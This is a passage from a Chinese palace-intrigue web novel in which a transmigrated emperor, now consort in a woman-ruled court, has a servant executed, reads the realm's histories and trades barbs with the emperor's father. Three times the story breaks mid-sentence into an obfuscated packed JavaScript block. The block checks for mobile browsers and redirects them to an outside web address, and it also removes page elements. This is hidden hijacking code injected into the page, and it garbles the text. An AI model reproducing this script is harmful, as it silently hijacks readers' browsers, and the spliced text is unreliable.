“殿下,杖毙是不是……太严峻了些?”他组织着语言,劝道,“奴才知道您生气,但那小侍不是还没能成事么?况且,近来也……也不合时宜。太君后这段日子正在清修礼佛,前些时候还嘱咐了各宫,说不要见到血腥。”他提醒了这么一句后,就立刻跪了下来。 赵煜这下回想起那册子上写的“青君,原名张若吕,景仁宫高太君后调拨而来”,顿时了然这奴才是怎么敢背着主人爬床的,原来本身就是送来给凤仪宫添堵的么? 他似笑非笑,暂且没有说话。承光看不见凤君的表情,但知晓自己这番话上秤论就是在挑拨两个主子的关系,不由得更深地把头磕了下去。 但他没有选择闭嘴,而是吸了一口气,提起别的理由再劝道:“殿下,直接杖毙倒便宜了那个奴才,不若把他发配到浣衣局去?浣衣局整日劳作,日复一日地洗衣浆衫,稍有懈怠便要挨打受罚。把他扔到那里,没几日就会被磨搓得不成样子,这样不比直接赐死更解气么?” 赵煜倒没想到杀个欺下媚上的奴才还能引来连篇累牍的劝谏,心里觉得有些好笑,表面却并没有什么反应,只道:“你起来吧。” 承光迟疑了一下,站起身。他见赵煜并没有因为自己违抗命令而生气,反而面色平和,即便是知道凤君是个面冷心热的人,心中也不免感动起来,愈发觉得自己的劝阻没有错,那奴才的确不该杀,起码不该现在杀。 毕竟凤君入主凤仪宫才不足三月,高太君后是长辈,怎么好轻易地与之作对,生出事端? 再者说了,即便是杀人,哪有这样大张旗鼓的?不都是暗地里动手,不叫人抓到把柄吗?这个命令一下,要是传到太君后和皇上那里,必定会留下个冷血善妒的罪名。承光不愿意主子担上这样的罪责。 赵煜轻轻啜了一口茶,没有抬眼。他虽然没有生气,却也并不觉得自己会采纳这个意见。这话表面上看似有理,实则太过天真稚嫩。 皇帝的战场是朝堂,士兵的战场是边疆,后妃的战场是后宫。 赵煜虽然对宫斗一窍不通,但战场总是相通的,鲜血会胜过一切手段。 凤仪宫小侍叛主爬床一事,连皇帝自己都对这桩事心生不悦,他不借机整顿了人,肃清了凤仪宫的风气,反而去讨那个故意使他难堪的人的好? 如果装乖顺就能成事,这具身体难道不够乖顺么?一个大家族培养出来的凤君,亲生的孩子都能被夺走,还任由仇人有怀孕生育的机会。下场如何?冷宫自尽罢了。 赵煜侧目扫了承光一眼,目光不轻不重,眼里也没有什么凌厉的情绪。但这一眼过去,立马把人看得僵住了。 他好整以暇地喝了一口茶,幽幽问道:“这么说,你是要我把这事轻轻放下了?” 承光听出了凤君的语气,这下不敢再说话,惶恐地垂首敛目。 赵煜没叫他受折磨太久,很快移开了眼睛,一边随手刮了刮茶盏的边缘,一边轻笑了一声,淡淡道:“如果今日我连一个奴才都要忍,那以后就要事事都要忍。” 而届时他的下场,也就势必和幻象中的一样,由着皇帝宠废,被别的后妃拿捏。 过于谨慎,有时候也不是一件好事。赵煜只提点了这一句,已不耐烦再在这件事上耗费心思,摆了摆手:“去吧,叫上其余的宫侍一并观刑。” 承光闻言,不敢再干涉他的决定,只得领命去了。 赵煜在睡了一觉用了膳后,这具身体终于没了心慌气短的毛病,稍微舒坦了一些。明夷这时领了两名女侍卫捧着书回来,片刻后过来禀报:“殿下,您要的书都备齐了。已经按您的吩咐,分门别类地摆放在桌案上了。” 赵煜不知道这个地方都有什么名家名作,只笼统地说了自己所需书的大概内容,明夷只好叫校理把相关的书都尽量拿来。 史书厚重,邸报成摞,这样的文献本是给皇帝皇女准备的,但赵煜要看,自然没有人不识趣来忤逆他的意思。 他坐到了案几前,先拿起最上面的一本《纪元通史》,翻阅目录,见其内容记录了自第一个朝代开始的完整历史,但从头到尾扫下来,都不曾看见梁朝。 赵煜来到此地本就灵异,超脱常理,对此也并不感到意外,只是心中还是难免多了几分怅然。 再细观其表,広岐晋绥燕,本朝名燕,是有史以来第一个天下一统的王朝,到如今不过第五代,共四十七年。 燕朝国姓为殷,燕太祖、太宗皇帝是底层的士兵出身,在马背上打下来的天下,性骁勇彪悍。建立了燕王朝之后,皆因政务繁忙、操劳过度,于二十年内就相继驾崩了。随后,皇太女御极,面对朝堂内外诸多未竟之事,手段刚柔并济,谥号文…… 赵煜越读越觉得不对劲,怎么从上层掌权者到底层的商贾都是女人?转手拿了一本记述地方岁时民俗的著作,更是越翻越是心惊。这下才意识到,燕朝女子为帝竟不是因为宗室子弟凋敝,而是自古以来就是女为尊,男为卑,男子居家相妻教女,女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他按捺下心中的澎湃,仔细地阅读开国以来,发现果不其然,此地虽然女尊男卑,女子可以一夫多侍,享有入朝为官的权力,但对男子的禁锢却远没有梁朝那般的严苛。贵族男子可以读书,甚至和贵族女子上同一个学堂,坐在同一间学舍里。 他最在乎的权力问题,甚至也明文写在了宫史里。诸如太皇太后、太君后、凤君这样的角色,可内掌六宫,外行皇权,名正言顺地提拔和罢免官吏,掌控军队。 赵煜看完这篇记载后,心中不禁感叹,如此治国之策下,皇帝怎么能在龙椅上坐得安稳?怕是在梦中都要思索怎么铲除外戚,真正地手握大权。 不过此时身份逆转,他成了凤君,局面实际上处处有利于他。这下赵煜只觉心里的不快消散了不少,紧绷的情绪也渐渐稍缓下来——没有了后宫不得干政的规矩,还怕他以后手伸不进朝堂吗?何况赵家本就权倾朝野,只要手段得当,恐怕很快朝廷就会只认赵,不识殷了。 心头卸下了一块大石头,赵煜终于心情松快起来,不再为先后的身份落差所郁结。这时候也终于肯想起另外一桩事了,他停顿了一下,稍一犹豫,手还是伸向了另一摞上头的医书。 赵煜仍旧不大想相信男人怀孕这件事。男人怎么怀?起码从外表来看,他依然如同在大梁一般,是个再正常不过的男人。 不过这回,他的希望却是彻底破灭了。赵煜看着书上所画的男女的身体结构,脸色瞬间黑如锅底。男人长胞宫,女人像男人!他顿时觉得眼睛一痛,“啪”地一声就合上了书。 真是世界之大,无奇不有!赵煜将那书远远扔到一边,再也不想看见。 但他眼神太快,除了那两张男女图外,还看见了书中注释的一句。这里的男子出生时眉心会生有一颗红痣,叫做孕痣,孕痣越艳,则代表该男子的生育能力越好。 赵煜想起自己眉头上的两点,顿觉嫌恶非常,头皮一阵发麻,只能重重地灌了一口茶水。 4. 太君后有请 承光几人盯着慎刑司的人行了刑,脸色苍白地回来禀告。赵煜勉强揭过这事,没抬头地“嗯”了一声,知道这个消息很快就会传遍整个后宫。 依照先前听的,他头上还有太皇太后、高太君后和皇帝三座大山。这三座大山,他虽然都没有亲眼见过,但大抵都已经猜到了脾性。 太皇太后出身赵家,对他这个家族的后辈多有照拂。即使他行事有差,大概也会小事化了;皇帝表面温润如玉,实际面热心冷。即便抛开先前幻象中留给他的印象,赵煜也能凭借之前对方与曾管事的对话,洞察到对方骨子里自有一股帝王与生俱来的傲气在;高太君后就更不用多提,这具身体刚入宫不满三月,就特意送来小侍,意图惹皇帝和凤君离心。 只是他不知道,高氏此举是拿出了“婆婆”的姿态,对他这个“儿媳”感到不满,还是单纯和皇帝父女同心,心疼自己的女儿被局势裹挟着娶了赵家人,想替皇帝出一口恶气? 抑或是实际上是针对太皇太后和他背后的赵家,想要扶持自己家族的势力? 赵煜虽然现在不能确定,但料想自己很快就能知道真相。 而事情也的确如他所料。“凤君杖杀手底下的一名奴才,并命所有宫侍前往观刑”一事,犹如燎原的星火,迅速蔓延至后宫每一个角落。 自去年十一月嫁入凤仪宫后,这位年轻的凤君除请安外几乎不曾外出,也从来没有训斥过奴婢。然而第一回出手,就一下子把所有人都震慑住了。之前打量着这位新主人事情少、脾气好的奴婢们,都不禁心里抖了一抖。 时至巳时初,皇帝还在早朝,太皇太后的长春宫先得了消息。 赵氏端坐着捧着茶盏,呷了一口茶,脸上没有什么波动,问道:“那个奴才得手了吗?” 曾掌事摇头道:“没有,皇上叫人捆了他时,衣裳都还齐整。” “是景仁宫送去的那个?” “是,那奴才在太君后的手下服侍过四个月。” 太皇太后闻言不再说话了,手摩挲着茶盏,心里升起了三两分的诧异。 凤仪宫的人手整体还算干净,基本都是从没跟过主子的,太皇太后几个月来也并没有派自己的人过去,好叫凤仪宫多半处在凤君的管控之下。 昨夜信传得模糊,太皇太后以为是皇帝和君后起了冲突,乃至宣了太医,虽然知道夫妻间的事情长辈不便插手,但还是派了曾管事前去转圜。后来见实际并不是多大的事,只是奴婢误传,也就歇下了心,不去管了。没道理赵家养出来的人连个奴才都处理不好。 何况太皇太后也知道自己的这个侄孙子,表面看起来温顺,实则因为出身赵家,是嫡是长,眼里难得能容下沙子。他治下的奴才背主献媚,这么响亮的耳光抽下来,将之处死也并不叫人不意外。 真正叫他意外的是,赵煜居然没把人拖去了慎刑司,而是当众在凤仪宫行的刑,手腕倒比从前强硬了些。 太皇太后有些满意,“嗯”了一声表示知道了,不再过问。 咸乐宫中,皇帝下了朝,女侍轻手轻脚地为她脱下繁复沉重的朝服,换上一身轻便舒适的衣物。来到中殿,桌子上堆了几叠已经筛过一遍的奏折。 她随手抄起几本词藻华丽的请安折,里头花团锦簇无不太平。嘴里轻笑了一声,眼里却没有什么笑意,随手扔下了折子,随即坐了下来。 一天之中,前朝后宫发生了什么事,有什么需要特别留意的,都有专人向她汇报。殷洛一边漫不经心地拿朱笔在折子上写着“阅”字,一边听着常侍在身侧禀告,自然提起了凤君一早叫人去文渊阁抱书,还有杖毙小侍一事。 后宫之中向来没有什么大事情,即便暗流汹涌,表面往往也一派风平浪静。殷洛听到这儿,有些意外地顿住了笔,问道:“是君后亲口下的令?” 常侍开口称是。 殷洛缓缓搁下了笔,颇感惊讶。她与赵煜也算是相处了小几个月,往日在国子监中也曾有过几面之缘。印象中,对方是个温顺平淡,并不显山露水的性子,持着赵家人的身份,还能被高家的男儿围堵欺负。 尽管可能是因为他不出手,也自会有旁人替他出头,大可不必张扬的缘故,但不管暗地里的实际性格如何,至少表面上,对方始终是一副不动如山的姿态,这也是殷洛最终挑选了他入宫的理由。因为不管对方是真的呆愣,不喜争斗,还是一个聪明人在藏锋,总归不会是一个蠢人罢了。 殷洛虽对枕边人并不会多上心,只是需要一个木头人当摆设,但跟聪明人过招,总比面对一个蠢人好过得多。 在这种印象下,殷洛看见赵煜昨夜因为小侍扑入她的怀中,从而脸色微变的模样,已经叫她感到有几分稀奇了。不过稍一思忖也明白,大家族出身的子弟,自然是容不下旁人挑衅他们的威仪的。 不过殷洛想的是,赵煜或许会按例将人送去慎刑司,或者不动声色地将人毒死了。但没想到对方却直接使出了雷霆手段,一下子打了太君后的脸。 殷洛在脑子里转了一圈念头,若有所思地拿起了毛笔,却没有动作,又接着询问道:“君后现在正做什么?” 常侍答道:“凤君殿下自早膳后,一直待在内室看书。”又呈上了所借之书的名录。 殷洛伸手接过了纸条,眯起眼睛扫了两眼,见上面多是一些鸿篇巨制,全无民间通俗趣味的闲书,这下更加不理解了,对方是哪儿来的闲情逸致看这些书的?这是杀了人之后想陶冶情操? 殷洛看不懂他的这个举动,但左右都找不出能有什么另外的深意,只好暂且将此事放下。 真说起来,两桩事实际都没什么大不了的。君后要处死自己手底下不听话的奴仆,理由和行为都再正当不过。他有这个权力,也有这个自由。 而找些书看更不是什么不能的事了,心思放在书籍上,也省得无事可干,有空和太皇太后联起手来,琢磨着找她的不痛快。 不过尽管殷洛的心中不以为意,但面上还是微微一沉。杀一小侍事小,但助长了他狠厉的气焰事大;况且太君后是她的父后,身为人女,她岂能无视太君后的脸面? 殷洛沉默了半响,久久未动,然后从嘴里吐出一口气,不冷不热说出一句:“一句话,就是一条命。” 意思就是凤君出手重了。常侍听懂了陛下的话外之音,垂眸恭立。 殷洛随即淡声吩咐道:“方娴,你去广储司,拿些老参之类的补物,送到凤仪宫去。这件事是君后受了委屈,朕本该去看望他,但政务繁忙,抽不出空来。” 方娴得令去了。殷洛想了一圈,见没有什么再补充的,抬了抬手,示意常侍继续禀告。 - 凤仪宫中,赵煜翻阅完了所有世家和凤君的记,对自己的处境看得终于有七分明晰。 燕朝尚文,看重读书人,太皇太后尚在人世,权柄在握,著书者已经敢录入了对方的生平。从开国皇帝的凤君孝德贤君后起,一直写到了赵煜的前一代,也就是太君后高氏。 虽然字句之间,语焉不详并没有明说,但弦外之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106853|163911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音表达了所谓一山不容二虎,皇家的婆媳之间更是如此。 孝德贤君后掌权时,虽然太宗的正君贞淑君后也是跟着起义军刀山火海里闯过来的,但在这个强势的太君后面前,只能低调行事,小心做人。直到太祖皇帝驾崩,孝德贤君后殉葬后,他才算真正有了掌管六宫、协理政事的权力。 不过没过几年,太宗皇帝也积劳成疾,溘然长逝了。二十三岁的燕文帝承袭帝位后,第三代凤君,也就是如今的太皇太后赵氏也随之入宫了。 燕文帝并非是贞淑君后的亲生女儿,而赵氏又与孝德贤君后毫无二致的强硬,索性贞淑君后并不是什么贪恋权势的人,干脆放了手,整日去清修了。 如此,一代的凤君强,便逼得一代的凤君弱。到了这第四位凤君高氏,即使熬成了太君后,也被头上的太皇太后压制得死死的。 也难怪他对赵煜看不过眼。 赵煜的眸光闪了闪,不过也并不觉得此事糟心。既然高氏手中无实权,那他做的一切不过小打小闹而已。 他伸手轻轻捏了捏鼻梁,心中默默评估着这几个人。高氏无用,不必理会;皇帝初登大宝,羽翼未丰,要警惕,但不必过于忌惮;至于太皇太后,虽然他和赵煜同样出身于赵家,论辈分算是赵煜的太祖父,但同样的,他更是皇帝的亲祖父。可以信,但不能尽信。 毕竟信别人手里的权,不如相信自己争过来的权。要想赖在赵氏的羽翼下做事,不如想想天启六年对方崩后赵家人的光景。况且以赵煜的性格,也容不得一个人压在他的头上。 一连看到快午膳的时辰,赵煜揉了揉额角,不免感到些许疲乏。这时,明夷领了个老奴过来向他请示。他先前刚送走了皇帝派来送药的人,现在景仁宫又来了人,一波一波,引得这凤仪宫竟像什么名胜似的。 那高太君后的老奴长了一张慈眉善目的脸,脸上的神态谦卑又温和,行礼后恭声道:“凤君殿下,太君后听说您昨日身体欠佳,心里十分担忧。今日特意嘱咐奴才,让您务必去景仁宫坐坐,想亲眼看看您如今的状况。” 生了病,不叫人好好休息不说,反而还得去拜见他? 赵煜听着这个理由,顿时觉得十分可笑,侧眼扫了一下这个老奴才。对方看他的眼神殷殷切切,尽是期盼,仿佛高氏真的很挂念他似的。 尽管赵煜很不得父母的喜欢,经常视他于无物,但他是皇家的嫡长子,没有哪个人胆敢怠慢他,也是一路被人诚惶诚恐跪过来的。 后来他想做的事情,哪怕是逼宫上位这种的难事也都做成了,登基后更鲜少有人敢与他叫板,难免将性子养得说一不二,倨傲自负。此时看高氏不由得感到不屑,实在懒得跟和对方打一些妇人之间的机锋。 但赵煜虽然高高在上,却并不是一个不会审时度势的蠢货。凤君病后苏醒,皇帝只叫人送了补药来,没有亲自来看望的意思,就表明了她对赵煜杖毙宫人的态度,显然很是不喜他这副强硬的做派。 赵煜虽不会因此后悔,只是不免多思考了一层。他刚得罪了皇帝,扫了她生身父亲的颜面,一次也就罢了,还要一扫再扫,这可不是什么聪明的做法。 说到底三座大山压在身上,他不能像以往那样随心所欲。 赵煜放下手中的书,颔首道:“我知道了,你下去吧。” 对方恭退。送走李掌事,承光几人都目光忧虑地望向凤君,担心太君后是要为难主子。但赵煜没有在意,将摊开的书合上,也没有换衣服的意思,直接叫人抬了仪轿过来。 5. 预备侍寝 太君后所居住的长宁宫位于凤仪宫的北侧,抬轿而行大约需要一炷香的工夫。赵煜登上了一架轻便的仪轿,由八名女侍抬行着,一路经行过前殿和北宫门,沿着阁道行至长宁宫的西阙,最终停在了前殿之前。 赵煜由人引着缓步而入,眼睛略略轻扫着周遭的景象。有个宫侍悄悄抬起头来看他,恰巧与他对上了视线,吓得又赶紧重新埋下了头。 他抬脚迈过门槛,绕过屏风,见上首坐着一位三四十岁的男人,身着云锦织金的华服,衣摆上绣有繁复花纹,头戴玉冠,颈戴玉牌,眼角虽有细纹,却不显老态,正笑意盈盈地翻着手里的册子。 他虽然是个男人,但容貌和神态都叫赵煜想起梁朝后宫的女人们。 把男人放在女人的位置上,男人就成了女人。真是有趣。 赵煜抬眼迎上高氏的目光,觉得自己接下来应该行个礼,但尚不知道此地的礼仪,动作不由得卡了一瞬。高氏这时已经开口,亲昵地叫道:“煜哥儿来了?快坐。” 赵煜也不纠结,顺势坐下了,只是被这个称呼叫得心中一恶。 显而易见,一个与你素有嫌隙的人却对你笑脸相迎,和拜年的黄鼠狼无异。 高氏先命人给赵煜沏茶,后脸上堆满关切,故作心疼地叹道:“听闻你昨夜身体不适,还唤了太医用药。本宫今早得知这消息,心里一直七上八下,生怕你出什么岔子。如今身子可好些了?” 赵煜端起茶盏,微微一抿,自然地答道:“劳太君后惦念,儿臣身体已经无恙了。” 茶水入口,却觉一股异常的苦涩,动作不由一顿。赵煜尝出来这是放久了的旧茶,心中不禁奇道,皇帝平日里是短了高氏的吃喝么,好歹是坐到了太君后的位置上,怎么行事如此小家子气? 高氏看到他佯装昨夜无事发生的样子,嘴角的笑意愈发沉了,嘴上却故作无奈地又是轻叹一声:“无恙就好,这样本宫也可以放心了。”说着表情又带了些恨铁不成钢,“皇帝是个勤政的,倒要本宫替她操心你。你瞧瞧,都这时候了,还缩在屋里批折子,饭也不用,人也不见。” 赵煜自然听出了他话里的实际用意,知道高氏今日叫他来,无非是好不容易逮住了机会,想要好好嘲讽他一番。再看对方的神情,虽然脸上不显,但眉梢隐隐透着几分得意。 赵煜心中哂笑一声。但他虽然知道对方的意图,却没必要搭茬,只道了一句:“前朝安稳,后宫才能睡得踏实。” 高氏却是揶揄了一句:“看看,不愧是小夫妻,话都一模一样。”还向旁边人促狭似的指了指赵煜,几个宫侍自然配合地陪着他笑了起来。 赵煜不知道高氏竟然得意至此,居然连这话都能说出口,一时恶寒。 高氏此时当然得意极了,自己的女儿把赵家的儿子迷得神魂颠倒,一个献媚的小宠都能把人活活气晕,真是没有半点出息。现在他看赵煜都觉得顺眼了不少,只觉得他让太皇太后和赵家丢了大人,高兴得做梦都要笑醒。 只可惜赵煜这么快就恢复了从容的样子,没能叫他多看看笑话,不过这已经够让他心情愉悦的了。 “说起来,煜哥儿原来身体不好,以前竟也不知道。”高氏调侃完后,又把话绕了回来,抚着茶盏叹息道,“你虽然还年轻,调养得快,但有什么毛病也要早早重视起来。不如以后凤仪宫每日的脉案,都叫陆院使亲自来把关。省得本宫担心,皇帝担心,太皇太后也担心。” 满后宫谁不知道凤君因为一个小侍晕倒,失了体面?赵煜倒用不着他提醒,只知道杖毙那奴才之后,许多宫侍见他手都悄悄发抖,这才是最重要的。 他喝了口茶,泰然道:“叫陆院使盯着凤仪宫实在有些大材小用了,还是把心思多多放在长宁宫为好。” 两人虽都知道对方话里有话,但没挑明之前,就得接着和颜悦色地演下去。赵煜自己倒无所谓,高氏两次攻势都被他随手化解了,还被回敬了一句。他那样脾性的人,难免脸上的笑僵了一瞬。赵煜全当自己没看到。 不过昨夜之事实在叫高氏太过欣喜,他很快调整回来,又与赵煜正常地寒暄几轮。赵煜一一答了,直到几个回合下来,话都干瘪了,高氏才转了话音,笑着问道:“再过几个月,煜哥儿也该成人了吧?” 这里的男儿女儿都是十六岁成年,被称作“成人”,应有成人礼。高氏突然这么一句,赵煜不知道对方除了膈应人外居然还有话说,略略挑眉,道:“是,儿臣六月二十的生辰。” “成人是个大日子,该好好准备准备。”高氏言笑晏晏,笑意渗进他脸上的每一条纹路里,意味深长道,“那些宫中蒙尘的宫殿也该都打扫一遍,洗尘迎新,也算给宫里带来些新气象。” 赵煜不相信对方有那个闲心关切自己的成人礼,闻言眯了眯眼睛,再略一思索后面那句“蒙尘的宫殿”,便立即明白了高氏的目的到底是什么,一时间啼笑皆非。 后宫中,除去太皇太后的长春宫、太君后的长宁宫、皇帝的咸乐宫、凤君的凤仪宫以及部分太妃所居住的仁寿宫以外,其他宫殿都没有住着人,要说蒙尘,自然就是指的是这些宫殿。 而这些宫里应该住的是什么人?后宫后宫,住的自然该是皇帝的妃嫔们。说起来,皇帝登基后还未有过大选,后宫之中只有凤君一人,的确太过空荡了,也不怪高氏如此迫不及待,引着皇帝和凤君闹矛盾,还特意将人叫过来暗示。 赵煜倒没想到自己还有被催着替皇帝选妃的一天,一时笑也不是,气也不是。不过他从不曾把皇帝看作是梁朝时期的女子,也从没把将自己看作过是对方的丈夫,此时根本不会介意高氏想要干什么。 哪怕妃嫔一多,后宫必定争斗不休,可难道有谁敢把火烧到他的头上来吗? 赵煜手指点了一下膝盖,面色自若,道了一句:“是该好好打扫一下。” 这下反而将高氏弄得愣住了,不明白赵煜如此一个妒夫,怎么听到这话一点反应都没有,脸色变都不变,难道是没听懂自己的意思么? 他顿了一下,又试图把话说得更清晰一些:“旧梁柱换新漆,看着才敞亮。皇帝从小就喜欢新的,那些花啊草啊,都去挑最艳的摘,也不知道这性子是怎么养成的。” 花都要挑新的摘,人就更是了。赵煜仍旧稳如磐石,徐徐刮了刮茶沫子,还是附和道:“喜新厌旧,人之常情。陛下喜欢新的,挑新的便是。” 四季有常,花开有时,不过松柏长青。赵煜不是花,又怎么会在意那几月的花期呢? 高氏见赵煜还是如此不开窍的反应,居然还在赞同他,不知道对方是真傻还是假傻,都想干脆把话原原本本全说明白了。 但顾及到皇帝并不喜好男色,而且向来也是个有主意的性子,万一把事情挑明了,反而是皇帝自己驳了选秀,那岂不是落了他的颜面? 可高氏计划了半天,是预备要拿此事去戳赵煜的肺腑的。要是直接略过此事,又实在不甘心,转念又想了个由头,非要叫对方难过起来才好。 “说起来,倒还有一事。凤仪宫的人手可还够用吗?”高氏的脸上又重新挂上了笑容,笑吟吟地说道,“煜哥儿是素来会养人的,身边服侍的都是些钟灵毓秀的妙人,看着哪里像是做苦差事的?倒比少爷公子也不差了。日后凤仪宫若是再缺人,大可从本宫这里挑些奴才去用。” 这是在暗指他笼络不住奴婢,以后凤仪宫内多的是背主的奴才了。承光和明夷听了,脸色都微微一变。 赵煜却是轻笑一声,颇为赞同道:“太君后调教出来的奴才,自然是很有教养的。儿臣来时还看见几个好颜色,很是活泼可爱。”那模样和身段,一看就是给皇帝预备的,还敢大着胆子看他。 眼皮子如此之浅,只知道盯着自己女儿床上的那点事,无怪乎高氏被太皇太后压得死死的,一点权力都捞不到,只能在小辈身上找不痛快。 高氏当然听得出赵煜的意思,但对方的语气和表情都太过自然,话也找不出一丝破绽,不好直接发作出来。这种争锋,自然是谁先撕破脸皮气急败坏谁就输了。 只是他叫赵煜过来本来是想看对方笑话的,怎么想到招都用尽了,不高兴的反而是他自己?顿时心口憋了一团气。 赵煜可不会在乎他的感受,他肯来见手无权势傍身的高氏,为的是皇帝,而不是处理什么婆媳关系。觉得自己人来也来了,一盏茶也饮尽了,没耐心再继续和一个毫无用处的人虚与委蛇,便伸出手按了按太阳穴。 高氏的脸上有些挂不住,心有不甘,但一时也找不出更锋利的事情来。赵煜看似跟个柔软的面团子似的,看似可以随意揉捏,但吃下去就生得直噎嗓子。 且怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106854|163911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再说下去,对方没怎么样,自己却会更气,失了风度。此时见赵煜按了按脑袋,一副有些难受的样子,就勉强给自己找了个台阶下,开口赶人:“煜哥儿这是又不舒服了?快回去歇着吧,怪本宫不该叫你过来,实在是关心则乱。” 赵煜放下了手,微微一笑道:“不要紧,那儿臣先告退了。”说完便转身便走,头也不回地离开了。 徒留高氏端坐在椅上,脸上原本勉强维持的一丝笑容瞬间消失得无影无踪。半晌,直到赵煜的身影彻底消失在视线中,才猛地咬紧牙关,狠狠地拍了一下桌子,发出“砰”的一声巨响,震得桌上的茶盏都微微晃动起来。 - 出了长宁宫,赵煜步履平稳地登上轿辇,几个宫侍步行跟在他的两侧。前方仪仗开道,侍卫持戟而立,步伐整齐,自有一番威仪。 高氏此人虽然不值得赵煜上心,但今天的有些话还是值得注意一二的。仪轿稳稳地行进着,赵煜这时有了心思,将他与高氏的对话从头到尾地过了一遍。 除开明里暗里那些无甚用处的机锋,说起来,最重要的不过是一句:凤君成人,皇帝大选…… 事实上,既然两人提到了大选,赵煜实际要比高氏还念着此事。一是可以从中挑几个柔顺乖觉的扶起来培养,拿去给皇帝侍寝;二是想等以后他们谁生了女儿,择一个灵动的去父留女。 至于其他人,赵煜虽然不在意皇帝宠幸谁,但既然不是己方阵营,命能不能在,日子过得好不好,就看他们自己够不够聪明,够不够懂事了。 但赵煜心中总隐隐觉得哪里有些不对劲,眉峰不由一压。选秀之事,历来不是按照皇帝的心意执行的吗?怎么看高氏的意思,却是非要等到凤君的成人礼过后,皇帝才会开启大选? 要是想选,皇帝大可直接下旨就是,赵煜不记得自己看过什么凤君成人后皇帝才能大选的规矩。 “我成人是什么大日子?”赵煜揉了揉额角,皱眉问几个随侍的宫侍,“怎么我成人后,后宫就要大选了?”或者说,才准许皇帝大选了? 他这么一发问,左右的奴婢都愣了愣,相互对视了一眼,而后不约而同地闪烁其词道:“这……您成人,当然是件重要的大事……陛下,陛下也不一定等您成人后就会大选……” 身边认识不认识的宫侍太多,赵煜见他们神色为难,便知道其中有什么蹊跷,略一点头,暂且不再追问。 只是敏锐地发觉几人的脸颊都羞赧地红了红,心中不免觉出几分异样。 等到了凤仪宫,几人进了内室,赵煜这才停下脚步,转过身来叫他们再答。几个宫侍没想到凤君还会再问,原本已经白皙平静下来的脸庞又迅速涨红,简直比方才的还要再红几分。 他们你看看我,我看看你,不知该如何开口。 昭侠年纪最小,最不通人事,见另外两个哼哼唧唧半天都不肯回话,怕主人久等,自己率先出了头:“殿下,您成人,您成人当然是您和陛下大喜的日子啊……” 他成人,如何是和皇帝共同大喜的日子了?赵煜拧了一下眉,还要再问,但看着几人通红的脸色,忽然猛然反应过来了什么,骤然抬起了眼。 昭侠见主人不说话,好像还是不太懂的样子,不知道是主人不想懂,索性话说都说了,就更明白地说了出来:“就是,您和陛下,不是都不通晓人事么……您入宫时还未成人,身体……不适宜……” 他渐渐也说不下去了。 赵煜也无需他再解释,脸色只在瞬间就变得铁青。他这话的意思不就是说,他和皇帝都是未经人事的雏儿,只等着赵煜成人的那天,两人好洞房花烛,共赴巫山云雨么? 赵煜先前没仔细想过自己侍寝的事情,一是不愿意想,二是觉得皇帝实际上并不喜欢这具身体,自然也不会愿意和一个厌恶的人发生情.事。 即使皇帝为表恩宠摆架凤仪宫,他也大可随便找个理由推拒了,这是让两个人都能松一口气的事。 只是他怎么想得到,这具身体和皇帝成婚至今都并未圆房,只等着赵煜成人的那天才好成事? 平常的侍寝也就算了,正式的新婚之夜,多少双眼睛盯着,赵煜就算有千般手段,如何使得出来? 赵煜深吸了一口气,只觉得自己头又痛了起来,良久,咬牙切齿道:“你们,详细说说……” 6. 帝后初见 昭侠几个人,看着凤君拧眉蹙额的样子,还以为他是因为成人之礼而紧张,是既期待又兼之不安了,便七嘴八舌地向他描述起其中的荣耀来。 寻常人家为儿女举办的成人礼尚且隆重,皇室的排场就更是不必多说了。从奉先殿净手焚香、祭拜祖先说起,说到了宗室诵读祝词,长辈赐福,解发束冠,六宫合宴…… 只是不知道,到时候究竟是太皇太后为凤君加冠,还是皇帝会亲手来给正君束发…… 赵煜听几个人越说越憧憬,脸色却是越听越沉,知道他们嘴里再吐不出什么象牙来,干脆沉声将几人的话打断了。 他到底还是对这个地方了解得太浅、太少,以至于被打了个措手不及。 赵煜勉强压着脾气,匆匆地用了午膳,立即又回到了桌案前。宫侍早已明白,凤君看书时不喜欢旁人打扰,于是先斟满了茶水,就悄无声息地退至一旁,轻易不敢发出声响。 人丁旺,则国家昌。而人口少,田地大半就会荒。田地荒了,产不出足够的粮食,百姓难以存活,就会揭竿而起,扰乱朝纲。 赵煜不解,为了促进生育,梁朝曾推行“胎养令”,取消人头税,采取鼓励寡妇再嫁等种种举措。怎么到了此地,凤君还要把身体留到成人之夜? 他翻来一本地理志,知道这件事的缘由还需到记述人口政策的书里去找。打开一看,果不其然。 原来本朝太祖皇帝初建燕朝时,天下正经历了十余载的战乱,世道艰难,人口凋零。在太祖执政的期间,也的确是为了稳固朝局、重振国力,朝廷政策上积极倡导民间多生多育,并给予相应的奖赏。而底层百姓生活困苦,食不果腹,为求生计,也往往倾向于将男童卖与大户人家,换取钱财,或者早早嫁出,减轻家中负担。不少男孩十三四岁便已成婚。 